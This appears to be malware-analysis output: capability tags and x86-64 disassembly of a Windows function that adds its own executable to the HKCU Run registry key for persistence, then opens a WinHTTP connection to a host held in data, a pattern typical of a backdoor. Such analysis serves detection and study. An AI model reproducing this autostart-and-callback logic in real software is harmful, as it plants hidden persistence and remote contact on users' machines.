Function at 0x140005a90
Capabilities:
Initialize winhttp library
Persist via run registry key
Set registry value

Disassembly:
sub rsp, 0x288
mov rax, qword [0x140033190]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
xorps xmm0, xmm0
lea rax, [rsp + 0x60]
xorps xmm1, xmm1
mov r8, 0xffffffffffffffff
movups xmmword [rsp + 0x38], xmm0
movdqu xmmword [rsp + 0x48], xmm1
nop dword [rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140005ae0
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x38]
call fcn.140008330
lea rax, [rsp + 0x30]
mov r9d, 0x20006
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140005be2
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Error_opening_registry_key
call fcn.140007f50
lea rdx, [0x140008120]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x140005b8e
mov rcx, qword [rsp + 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140005ca9
call fcn.140020d6c
mov qword [rsp + 0x290], rbx
lea rcx, [0x14002a0ec]
mov qword [rsp + 0x298], rsi
xor r9d, r9d
xor esi, esi
mov qword [rsp + 0x280], rdi
xor r8d, r8d
mov dword [rsp + 0x20], esi
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
test rax, rax
jne 0x140005cb0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
lea rdx, str.___Failed_to_open_session__n
call fcn.140007ab0
jmp 0x140005cb7
mov eax, dword [rsp + 0x48]
lea rcx, [rsp + 0x38]
cmp qword [rsp + 0x50], 8
lea rdx, [0x14002a070]
mov r9d, 1
cmovae rcx, qword [rsp + 0x38]
xor r8d, r8d
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x140005c59
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Error_setting_registry_value
call fcn.140007f50
lea rdx, [0x140008120]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x140005b4c
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsp + 0x50]
cmp rdx, 8
jb 0x140005b8e
mov rcx, qword [rsp + 0x38]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b89
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140005b89
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov qword [0x140036600], rax
call fcn.1400033c0
movzx edi, word [0x140036610]
lea rdx, [0x140036658]
lea rcx, [rsp + 0x38]
call fcn.140006b40
mov rbx, rax
mov rdx, rax
cmp qword [rax + 0x18], 8
jb 0x140005ce4
mov rdx, qword [rax]
mov rcx, qword [0x140036600]
xor r9d, r9d
movzx r8d, di
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov rdi, rax
test rax, rax
jne 0x140005d51
mov rcx, qword [0x140036600]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140005d4c
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140005d47
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005dd9
mov rcx, r8
call fcn.140020d6c
mov rdi, rsi
jmp 0x140005d8c
mov rdx, qword [rbx + 0x18]
cmp rdx, 8
jb 0x140005d8c
mov rcx, qword [rbx]
lea rdx, [rdx*2 + 2]
cmp rdx, 0x1000
jb 0x140005d87
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140005dd9
mov rcx, r8
call fcn.140020d6c
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], 7
mov word [rbx], si
mov qword [0x140036608], rdi
call fcn.1400043f0
mov rsi, qword [rsp + 0x298]
xor eax, eax
mov rbx, qword [rsp + 0x290]
mov rdi, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140020ab0
add rsp, 0x288
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3